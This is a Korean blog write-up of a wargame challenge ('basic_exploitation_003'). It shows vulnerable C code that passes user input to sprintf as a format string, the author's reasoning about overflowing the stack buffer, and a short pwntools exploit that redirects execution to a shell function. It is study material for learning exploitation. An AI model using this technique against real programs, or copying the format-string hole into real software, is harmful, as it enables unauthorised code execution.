CIDY
[System_Hacking] stage10_문제풀이(basic_exploitation_003) 본문
// 32-bit, nx, partial relro
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
void alarm_handler() {
puts("TIME OUT");
exit(-1);
}
void initialize() {
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
signal(SIGALRM, alarm_handler);
alarm(30);
}
void get_shell() {
system("/bin/sh");
}
int main(int argc, char *argv[]) {
char *heap_buf = (char *)malloc(0x80);
char stack_buf[0x90] = {};
initialize();
read(0, heap_buf, 0x80);0
sprintf(stack_buf, heap_buf);
printf("ECHO : %s\n", stack_buf);
return 0;
}
음 뭐지? sprintf는 string + printf로 저렇게 돼 있으면 대충 heap_buf의 내용물을 stack_buf에 저장한다는 뜻 같다.
스택을 열어보면 buf -> pointer -> dummy -> ebp 순이다. get_shell로 rop를 해야 할 것 같은데, 어떻게 가능하지? -> 뭘 어떡해 ret주소 겟쉘로 덮어야지
근데 어떻게 덮을거냐? 일단 나한테서 직접적으로 입력받아 가는 애는 힙버퍼다. 그런데 힙버퍼에서 스택버퍼로 옮길때 snprintf가 아닌 그냥 sprintf를 써서 오버플로우가 완전 가능한 상황이다.
그리고 내가 만약 힙버퍼에 "%1234145c"를 입력해주면 힙버퍼에서는 9바이트로 인식되겠지만 그게 그대로 스택 버퍼로 전달되면서 스택버퍼에는 무언가가 1234145바이트 써진다 -> 뻥튀기 -> 오버플로우 가능
from pwn import *
p = process("./basic_exploitation_003")
e = ELF("./basic_exploitation_003")
buf = f"%{0x9c}c".encode()
buf += p32(e.sym['get_shell'])
#pause()
p.send(buf)
p.interactive()
간단하긴 한데 역시 c언어를 모르는 나로서는 sprintf에 대해 검색하는 것부터 시작해야 했기에 힘들었다...
'Hack > DreamHack(로드맵)' 카테고리의 다른 글
[System_Hacking] stage12_ptmalloc2 (0) | 2022.07.08 |
---|---|
[System_Hacking] stage11_Use After Free(+문제풀이: uaf_overwrite) (0) | 2022.07.07 |
[System_Hacking] stage10_문제풀이(basic_exploitation_002) (0) | 2022.07.07 |
[System_Hacking] 문제풀이_rop(RTC, stack pivoting 이용한 풀이) (0) | 2022.07.04 |
[System_Hacking] stage9_문제풀이(out_of_bound) (0) | 2022.07.03 |